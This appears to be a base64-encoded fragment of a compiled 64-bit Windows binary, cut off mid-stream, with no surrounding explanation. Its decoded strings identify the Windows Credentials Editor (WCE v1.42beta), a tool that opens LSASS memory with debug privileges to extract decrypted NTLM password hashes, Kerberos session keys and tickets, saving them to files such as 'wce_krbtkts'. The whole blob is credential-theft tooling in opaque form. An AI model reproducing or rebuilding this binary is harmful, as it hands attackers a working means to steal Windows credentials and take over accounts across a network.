AAAQ2Fub250IG9wZW4gRXZlbnRMb2cKAAAAU2Vla1RvTGFzdFJlY29yZCBmYWlsZWQgd2l0aAoAAABOb3RpZnlDaGFuZ2VFdmVudExvZyBmYWlsZWQgd2l0aCAlbHUuCgAAR2V0TGFzdFJlY29yZE51bWJlciBmYWlsZWQuCgAAAABSZWFkUmVjb3JkIGZhaWxlZCBzZWVraW5nIHRvIHJlY29yZCAlbHUuCgAAAAAAAABHZXRPbGRlc3RFdmVudExvZ1JlY29yZCBmYWlsZWQgd2l0aCAlbHUuCgAAAAAAAABHZXRPbGRlc3RFdmVudExvZ1JlY29yZCBmYWlsZWQgd2l0aCAlbHUuCgAAAAAAAABGYWlsZWQgdG8gcmVhbGxvY2F0ZSBtZW1vcnkgZm9yIHRoZSByZWNvcmQgYnVmZmVyICglZCBieXRlcykuCgAAU2Vjb25kIFJlYWRFdmVudExvZyBmYWlsZWQgd2l0aCAlbHUuCgAAAFJlYWRFdmVudExvZyBmYWlsZWQgd2l0aCAlbHUuCgAAUmVhZFJlY29yZCAocHJpbWluZyByZWFkKSBmYWlsZWQuCgAAAAAAAFJlYWRSZWNvcmQgc2VxdWVudGlhbCBmYWlsZWQuCgAARXJyb3I6IHdoaWxlIGhhc2hpbmcuLi4KAAAAAAAAAABFcnJvcjogSEFTSCBTSVpFIGVycm9yIG9yIG1pc210YWNoLiBIYXNoU2l6ZTogJWQuLgoAAAAAAEVycm9yOiBXaGVuIG9idGFpbmluZyBoYXNoIHZhbHVlLi4KAAAAAABhZHZhcGkzMi5kbGwAAAAAU3lzdGVtRnVuY3Rpb24wMDYAAAAlcwAAYWR2YXBpMzIuZGxsAAAAAFN5c3RlbUZ1bmN0aW9uMDA3AAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAEDIFAAAAAAA2MgUAAAAAABA1BQAAAAAAAAAAAAAAAAAMMgUAAAAAACwFBUAAAAAAFNVz25KkuyfmvldzTxG/G/QEqn4AAAAACVzXHN5c3RlbTMyXGxzYXNydi5kbGwAAAEAAAAAAAAAAAAAAAAAAAAIeRgAAAAAAIBUGAAAAAAAYIwYAAAAAAAAAAAAAAAAAAB5GAAAAAAAmKcYAAAAAAAmIFiMYaNQ9gtyJ24p2wdzKQZuGQAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAABQjREAAAAAAHCBEQAAAAAAgKYRAAAAAAAAAAAAAAAAAGCNEQAAAAAAqMsRAAAAAADI2EkhI4uuyi29bTmlTU6BfsiCtAAAAAAQgAJAAQAAAICAAkABAAAA4IACQAEAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAEDIFAAAAAAA2MgUAAAAAABA1BQAAAAAAAAAAAAAAAAAMMgUAAAAAACwFBUAAAAAAFNVz25KkuyfmvldzTxG/G/QEqn4AAAAAJiCAkABAAAAAQAAAAAAAAAAAAAAAAAAAAh5GAAAAAAAgFQYAAAAAABgjBgAAAAAAAAAAAAAAAAAAHkYAAAAAACYpxgAAAAAACYgWIxho1D2C3InbinbB3MpBm4ZAAAAADoAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAFCNEQAAAAAAcIERAAAAAACAphEAAAAAAAAAAAAAAAAAYI0RAAAAAACoyxEAAAAAAMjYSSEji67KLb1tOaVNToF+yIK0AAAAAGCBAkABAAAAwIECQAEAAAAgggJAAQAAAAAAAAAAAAAAdjEuNDJiZXRhIChYNjQpADoAAAAlLjJYaCAAAAoAAABSZWFkaW5nIGZyb20gbWVtb3J5IChzYWZlIG1vZGUpCgAAAABJViA9IAAAACUuMlhoIAAACgAAAEVycm9yOiB1bmtub3duIHRhcmdldCEuCgAAAABLZXkgPSAAAAoAAABMU0FTUlYuRExMAAAKAAAARXJyb3I6IGNhbm5vdCBjYWxjdWxhdGUgcmVsYXRpdmUgYWRkcmVzc2VzLgoAAAAARXJyb3I6IENhbm5vdCBvcGVuIExTQVNTLkVYRSEuCgBoM0RFU0tleSA9ICVJNjRYaAoAAAAAAABDb3VsZCBub3QgZW5hYmxlIGRlYnVnIHByaXZpbGVnZXMuIFlvdSBtdXN0IHJ1biBXQ0UgdW5kZXIgYW4gYWNjb3VudCB3aXRoIGFkbWluaXN0cmF0b3IgcHJpdmlsZWdlcy4KAAAAAGxzYXNzLmV4ZQAAACUuMlhoIAAACgAAAENhbm5vdCBnZXQgTFNBU1MuRVhFIFBJRCEKAAAAAAAAQ2Fubm90IHJlYWQgSVYgZnJvbSBMU0FTUyEuCgAAAABDYW5ub3QgcmVhZCBwdHIgdG8gU0sgVGFibGUgZnJvbSBMU0FTUyEuCgAAAAAAAABDYW5ub3QgcmVhZCBwdHIgdG8gREVTWFRhYmxlIGZyb20gTFNBU1MhLgoAAAAAAABERVNYVGFibGU9IAAAAAAARXJyb3I6IGNhbm5vdCByZWFkIGtleSEuCgAAAAAAAABFcnJvcjogY2Fubm90IGRpc2NvdmVyIGtleSBvZmZzZXQuCgAAAAAAS2V5IE9mZnNldDogJS44WGgKAAAAAAAAQ2Fubm90IHJlYWQga2V5IGZyb20gbWVtb3J5IS4KAABFcnJvcjogIGNhbm5vdCByZWFkIElWIGZyb20gbWVtb3J5IS4KAAAASVYgPSAAAAAlLjJYaCAAAEVycm9yOiB1bmtub3duIHdpbmRvd3MgZmFtaWxpeS4KAAAAAAAAAABFcnJvcjogY2Fubm90IHJlYWQgTG9nb24gc2Vzc2lvbiBsaXN0IGFkZHJlc3MuCgBTZXNzaW9uIExpc3QgQWRkcmVzczogJUk2NFhoCgAAAEVycm9yOiBjYW5ub3QgcmVhZCBMb2dvbiBTZXNzaW9uIExpc3QgQ291bnQhLgoAAFNlc3Npb24gTGlzdCBDb3VudDogJWQKAEVycm9yOiBjYW5ub3QgTGlzdCBTZXNzaW9uIExpc3QgRW50cnkhLgoAAAAAAAAAAG5leHRFbnRyeTogJUk2NHhoCgAAAAAAAEVycm9yOiBjYW5ub3QgTGlzdCBTZXNzaW9uIExpc3QgRW50cnkhLgoAAAAAAAAAAG5leHRFbnRyeTogJUk2NFhoCgAAAAAAAHByZXZFbnRyeTogJUk2NFhoCgAAAAAAAAl1c2Vyc2l6ZTogJUk2NHhoCgAAAAAAAAl1c2VyTmFtZVB0clVuaWNvZGU6ICVJNjR4aAoAAAAACW1hY2hpbmVTaXplOiAlSTY0WGgKAAAACW1hY2hpbmVQdHJVbmljb2RlOiAlSTY0WGgKAAAAAABwcmV2RW50cnk6ICVJNjRYaAoAAAAAAAAJdXNlcnNpemU6ICVJNjR4aAoAAAAAAAAJdXNlck5hbWVQdHJVbmljb2RlOiAlSTY0eGgKAAAAAAltYWNoaW5lU2l6ZTogJUk2NFhoCgAAAAltYWNoaW5lUHRyVW5pY29kZTogJUk2NFhoCgAAAAAAVW5rbm93biBhZGRyZXNzIGdyb3VwIQoARXJyb3I6IENhbm5vdCByZWFkIGNyZWRlbnRpYWxzIS4KAAAAAAAAAAl1bmsxOiAlLjhYaAoAAAAJUGtnSWQ6ICUuOFhoCgAACXB0clRvQ3JlZHM6ICUuOFhoCgAAAAAARXJyb3I6IENhbm5vdCByZWFkIGNyZWRlbnRpYWxzIGhhc2ggc3RydWN0IS4KAAAACXVuazE6ICUuOFhoCgAAAAlwcmltYXJ5TGVuZ3RoOiAlLjhYaAoAAAlwcmltYXJ5UHRyOiAlLjhYaAoAAAAAAAloYXNoZXNMZW5ndGg6ICUuOFhoCgAAAAloYXNoZXNQdHI6ICUuOFhoCgAAAAAAAAloYXNoZXNSZWFsTGVuZ3RoOiAlLjhYaAoAAAAAAAAARXJyb3I6IGNhbm5vciByZWFkIGhhc2hlcyBwdHIhLgoAAAAAAAAAAAoJCU5UTE1fQ1JFRFNfQkxPQ0sgKGRlY3J5cHRlZCk6CgAAAAAAAAAJCQl1c2VybmFtZUxlbjogJS44WGgKAAAJCQl1c2VybmFtZU9mZjogJS44WGgKAAAJCQlkb21haW5MZW46ICUuOFhoCgAAAAAJCQlkb21haW5PZmY6ICUuOFhoCgAAAABFcnJvcjogQ2Fubm90IHJlYWQgdXNlcm5hbWVQdHJVbmljb2RlIS4KAAAAAAAAAAAJVXNlcm5hbWU6IAAAAAAARXJyb3I6IENhbm5vdCByZWFkIG1hY2hpbmVQdHJVbmljb2RlIS4KAAoJRG9tYWluL1dvcmtncm91cC9NYWNoaW5lIE5hbWU6IAAAAAAAAABMU0FTUlYuRExMAAAAAAAAMwBEAEUAUwAAAAAAAAAAAEMAaABhAGkAbgBpAG4AZwBNAG8AZABlAEMAQgBDAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAAAAAAAAAAABPAGIAagBlAGMAdABMAGUAbgBnAHQAaAAAAAAAAAAAAEIAbABvAGMAawBMAGUAbgBnAHQAaAAAAGJjcnlwdC5kbGwAAAAAAABCQ3J5cHRPcGVuQWxnb3JpdGhtUHJvdmlkZXIAAAAAAEJDcnlwdFNldFByb3BlcnR5AAAAAAAAAEJDcnlwdEdldFByb3BlcnR5AAAAAAAAAEJDcnlwdEdlbmVyYXRlU3ltbWV0cmljS2V5AAAAAAAAQkNyeXB0RW5jcnlwdAAAAEJDcnlwdERlY3J5cHQAAAAzAEQARQBTAAAAAAAAAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAQwBCAEMAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQAAAAAAAAAAAE8AYgBqAGUAYwB0AEwAZQBuAGcAdABoAAAAAAAAAAAAV0NFU0VSVklDRQAAAAAAAFdDRVNFUlZJQ0UAAAAAAABXQ0VTRVJWSUNFAAAAAAAAXFwuXHBpcGVcV0NFU2VydmljZVBpcGUAXFwuXHBpcGVcV0NFU2VydmljZVBpcGUARXJyb3I6IElOVkFMSURfSEFORExFX1ZBTFVFCgAAAABDYW5ub3QgYWxsb2NhdGUgbWVtb3J5IQoAAAAAJXMAAFxcLlxwaXBlXFdDRVNlcnZpY2VQaXBlAFxcLlxwaXBlXFdDRVNlcnZpY2VQaXBlAEVycm9yOiBJTlZBTElEX0hBTkRMRV9WQUxVRQoAAAAAQ2Fubm90IGFsbG9jYXRlIG1lbW9yeSEKAAAAACVzAABFcnJvcjogSU5WQUxJRF9IQU5ETEVfVkFMVUUKAAAAAEVycm9yOiBJTlZBTElEX0hBTkRMRV9WQUxVRQoAAAAAdjEuNDJiZXRhIChYNjQpAEiNAkABAAAARXJyb3I6IENhbm5vdCBleHRyYWN0IGF1eGlsaWFyeSBETEwhCgAAACVzAAAlcwAAJXMAACVzAABTaHV0ZG93bgoAAAAlcwAARXJyb3I6IENhbm5vdCBleHRyYWN0IGF1eGlsaWFyeSBETEwhCgAAAEVycm9yOiBDYW5ub3QgZXh0cmFjdCBhdXhpbGlhcnkgRExMIQoAAABFcnJvcjogQ2Fubm90IGV4dHJhY3QgYXV4aWxpYXJ5IERMTCEKAAAARXJyb3IgUmVhZGluZyBmcm9tIHBpcGUhCgAAAAAAAABcXC5ccGlwZVxXQ0VTZXJ2aWNlUGlwZQAKAAAAJS4yeCAAAAAlYyAAAAAAAAAAAABOVERMTC5ETEwAAAAAAAAAU0VDVVIzMi5ETEwAYWIAAFJ0bEluaXRTdHJpbmcAAABMc2FDb25uZWN0VW50cnVzdGVkAGFiAABMc2FMb29rdXBBdXRoZW50aWNhdGlvblBhY2thZ2UAAExzYUNhbGxBdXRoZW50aWNhdGlvblBhY2thZ2UAAAAATHNhRGVyZWdpc3RlckxvZ29uUHJvY2VzcwAAAHdiAABMc2FGcmVlUmV0dXJuQnVmZmVyAGFiAABLRVJCX0VUWVBFX0RFU19DQkNfQ1JDAAAwjwJAAQAAAEtFUkJfRVRZUEVfREVTX0NCQ19NRDQAAFCPAkABAAAAS0VSQl9FVFlQRV9ERVNfQ0JDX01ENQAAcI8CQAEAAABLRVJCX0VUWVBFX05VTEwAkI8CQAEAAABLRVJCX0VUWVBFX1JDNF9ITUFDX05UAACojwJAAQAAAEtFUkJfRVRZUEVfUkM0X01ENAAACQAAAMiPAkABAAAARVRZUEVfVU5LTk9XTgAAAOiPAkABAAAAQUVTLTI1Ni1DVFMtSE1BQy1TSEExLTk2AAAAAAoAAAAAkAJAAQAAAEtSQl9OVF9VTktOT1dOAAAokAJAAQAAAEtSQl9OVF9QUklOQ0lQQUwAAAAAJS4yeCAAAAAKAAAAQJACQAEAAABLUkJfTlRfU1JWX0lOU1QAaJACQAEAAABLUkJfTlRfU1JWX0hTVAAAgJACQAEAAABLUkJfTlRfU1JWX1hIU1QAmJACQAEAAABLUkJfTlRfVUlEAAAKAAAAsJACQAEAAABLUkJfTlRfRU5URVJQUklTRV9QUklOQ0lQQUwACgAAAMiQAkABAAAAS1JCX05UX0VOVF9QUklOQ0lQQUxfQU5EX0lEAAoAAADwkAJAAQAAAEtSQl9OVF9NU19QUklOSUNQQUwACgAAABiRAkABAAAAS1JCX05UX01TX1BSSU5DSVBBTF9BTkRfSUQAAAoAAAA4kQJAAQAAAFVOS05PV04AYJECQAEAAAAJTmFtZVR5cGU6ICglcykgJWQKAAoAAAAJTmFtZUNvdW50OiAldQoACU5hbWVzCgAJS2V5VHlwZTogKCVzKSAoJXhoKQoAAAAJTGVuZ3RoOiAoJWQpICgleGgpCgAAAAAJVmFsdWU6IAAAAAAKAAAAU3lzdGVtXEN1cnJlbnRDb250cm9sU2V0XENvbnRyb2xcTHNhXEtlcmJlcm9zXFBhcmFtZXRlcnMAAAAACgAAAGFsbG93dGd0c2Vzc2lvbmtleQAACgAAAFN5c3RlbVxDdXJyZW50Q29udHJvbFNldFxDb250cm9sXExzYVxLZXJiZXJvc1xQYXJhbWV0ZXJzAAAAAAoAAABhbGxvd3RndHNlc3Npb25rZXkAAAAAAABTeXN0ZW1cQ3VycmVudENvbnRyb2xTZXRcQ29udHJvbFxMc2FcS2VyYmVyb3NcUGFyYW1ldGVycwAAAABEb25lIQoAAAAAAABhbGxvd3RndHNlc3Npb25rZXkAAAAAAABBbGxvd1RHVFNlc3Npb25LZXk6ICVkCgBQS0VSQl9FWFRFUk5BTF9USUNLRVQJCQkJOgklLjhYaAoAAAAAAAAAU2VydmljZU5hbWUKAAAAAFRhcmdldE5hbWUKAAAAAABDbGllbnROYW1lCgAAAAAARG9tYWluTmFtZQoJAAAAAFRhcmdldERvbWFpbk5hbWUKCQAAAAAAAEFsdFRhcmdldERvbWFpbk5hbWUKCQAAAFNlc3Npb25LZXkKAAAAAABUaWNrZXRGbGFnczogJS44WGgKAAAAAABGbGFnczogJS44WGgKAAAAS2V5RXhwaXJhdGlvblRpbWU6IAAAAAAAU3RhcnRUaW1lOiAAAAAAACVkLyVkLyVkICVkOiVkOiVkLiVkCgAAAEVuZFRpbWU6IAAAAAAAAAAlZC8lZC8lZCAlZDolZDolZC4lZAoAAABSZW5ld1VudGlsOiAAAAAAJWQvJWQvJWQgJWQ6JWQ6JWQuJWQKAAAAVGltZVNrZXc6IAAAAAAAACVkLyVkLyVkICVkOiVkOiVkLiVkCgAAAEVuY29kZWRUaWNrZXRTaXplOiAlZCAoJS44WGgpCgAAS0VSQl9RVUVSWV9US1RfQ0FDSEVfRVgyX1JFU1BPTlNFLk1lc3NhZ2VUeXBlOiAlWGggKCVkKQoAAAAAAAAAAEtFUkJfUVVFUllfVEtUX0NBQ0hFX0VYMl9SRVNQT05TRS5Db3VudE9mVGlja2V0czogJWQKAAAAVGlja2V0ICMlZAoAAAAAAENsaWVudE5hbWU6IAAAAABDbGllbnRSZWFsbTogAAAAU2VydmVyTmFtZTogAAAAAFNlcnZlclJlYWxtOiAAAABTdGFydCBUaW1lOiAlZC8lZC8lZCAlZDolZDolZC4lZAoAAAAAAAAARW5kIFRpbWU6ICVkLyVkLyVkICVkOiVkOiVkLiVkCgBSZW5ld1RpbWU6ICVkLyVkLyVkICVkOiVkOiVkLiVkCgAAAAAAAAAARW5jcnlwdGlvblR5cGUgJVhoICglZCkKAAAAAAAAAABUaWNrZXRGbGFnczogJS44WGgKAAAAAABTZXNzaW9uS2V5VHlwZTogJVhoCgAAAABCcmFuY2hJZDogJVhoCgAAd2NlX2tyYnRrdHMAAAAAAEVycm9yOiBjYW5ub3Qgc2F2ZSB0aWNrZXQgaW4gV0NFIFdpbmRvd3MgZm9ybWF0CgAAAAAAAAAAd2NlX2NjYWNoZQAAAAAAAEVycm9yOiBjb3VsZCBub3QgY29udmVydCBhbmQgc2F2ZSBUaWNrZXQKAAAAAAAAAEVycm9yOiBjYW5ub3QgYWNjZXNzIExTQQoAAAAAAAAAS2VyYmVyb3MAAAAAAAAAAEVycm9yOiBjYW5ub3QgZmluZCBLZXJiZXJvcyBhdXRoIHBhY2thZ2UKAAAAAAAAAFRpY2tldCAjJWQKAAAAAAB3Y2Vfa3JidGt0cwAAAAAAJWQga2VyYmVyb3MgdGlja2V0cyBzYXZlZCB0byBmaWxlICd3Y2VfY2NhY2hlJy4KAAAAAAAAAAAlZCBrZXJiZXJvcyB0aWNrZXRzIHNhdmVkIHRvIGZpbGUgJ3djZV9rcmJ0a3RzJy4KAAAAAAAAAHdjZV9jY2FjaGUAAAAAAAB3Y2Vfa3JidGt0cwAAAAAAV2FybmluZzogSSB3aWxsIG5vdCBiZSBhYmxlIHRvIGV4dHJhY3QgdGhlIFRHVCBzZXNzaW9uIGtleQoAAAAAAEVycm9yOiBDYW5ub3QgbG9hZCBuZWVkZWQgbGlicmFyaWVzCgAAAABFcnJvcjogY2Fubm90IGFjY2VzcyBMU0EKAAAAAAAAAEtlcmJlcm9zAAAAAAAAAABFcnJvcjogY2Fubm90IGZpbmQgS2VyYmVyb3MgYXV0aCBwYWNrYWdlCgAAAAAAAABFcnJvcjogY2Fubm90IGR1bXAgVEdUCgBObyBUR1QgaXMgYXZhaWxhYmxlIQoAAAAAAAAAAAAAAENvbnZlcnRpbmcgYW5kIHNhdmluZyBUR1QgaW4gVU5JWCBmb3JtYXQgdG8gZmlsZSB3Y2VfY2NhY2hlLi4uCgB3Y2VfY2NhY2hlAAAAAAAARXJyb3I6IGNvdWxkIG5vdCBjb252ZXJ0IGFuZCBzYXZlIFRHVAoAAAAAAAAAAAAAQ29udmVydGluZyBhbmQgc2F2aW5nIHRpY2tldHMgaW4gV2luZG93cyBXQ0UgRm9ybWF0IHRvIGZpbGUgd2NlX2tyYnRrdHMuLgoAAAAAAABSZWFkaW5nIGtlcmJlcm9zIHRpY2tldHMgZnJvbSBmaWxlICd3Y2Vfa3JidGt0cycuLi4KAAAAAHJiAAAAAAAAd2NlX2tyYnRrdHMAAAAAAEVycm9yOiBjYW5ub3Qgb3BlbiB3Y2Vfa3JidGt0cy4KAAAAAERvbmUhCgAAAAAAAE5URExMLkRMTAAAAAAAAABTRUNVUjMyLkRMTAAAAAAAUnRsSW5pdFN0cmluZwAAAExzYUNvbm5lY3RVbnRydXN0ZWQAAAAAAExzYUxvb2t1cEF1dGhlbnRpY2F0aW9uUGFja2FnZQAATHNhQ2FsbEF1dGhlbnRpY2F0aW9uUGFja2FnZQAAAABMc2FEZXJlZ2lzdGVyTG9nb25Qcm9jZXNzAAAAAAAAAEVycm9yOiBjYW5ub3QgYWNjZXNzIExTQQoAAAAAAAAAS2VyYmVyb3MAAAAAAAAAAEVycm9yOiBjYW5ub3QgZmluZCBLZXJiZXJvcyBhdXRoIHBhY2thZ2UKAAAAAAAAAEZhdGFsIEVycm9yOiBjYW5ub3QgcmVhZCBzZXNzaW9ua2V5CgAAAABGYXRhbCBFcnJvcjogY2Fubm90IHJlYWQgdGlja2V0CgAAAAAAAAAAJWQga2VyYmVyb3MgdGlja2V0cyB3ZXJlIGFkZGVkIHRvIHRoZSBjYWNoZS4KAAAAAAAAAAAAAAAyot8tmSsAAM1dINJm1P//4NECQAEAAAAAAAAAAAAAAODRAkABAAAAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdZgAAHOYAAABAAAAAAAAAJAVAkABAAAAgBUCQAEAAAABAAAAFgAAAAIAAAACAAAAAwAAAAIAAAAEAAAAGAAAAAUAAAANAAAABgAAAAkAAAAHAAAADAAAAAgAAAAMAAAACQAAAAwAAAAKAAAABwAAAAsAAAAIAAAADAAAABYAAAANAAAAFgAAAA8AAAACAAAAEAAAAA0AAAARAAAAEgAAABIAAAACAAAAIQAAAA0AAAA1AAAAAgAAAEEAAAANAAAAQwAAAAIAAABQAAAAEQAAAFIAAAANAAAAUwAAAA0AAABXAAAAFgAAAFkAAAALAAAAbAAAAA0AAABtAAAAIAAAAHAAAAAcAAAAcgAAAAkAAAAGAAAAFgAAAIAAAAAKAAAAgQAAAAoAAACCAAAACQAAAIMAAAAWAAAAhAAAAA0AAACRAAAAKQAAAJ4AAAANAAAAoQAAAAIAAACkAAAACwAAAKcAAAANAAAAtwAAABEAAADOAAAAAgAAANcAAAALAAAAGAcAAAwAAAAMAAAACAAAAP//////////gAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAAAAAAAAAAAAD0sAFAAQAAAPSwAUABAAAA9LABQAEAAAD0sAFAAQAAAPSwAUABAAAA9LABQAEAAAD0s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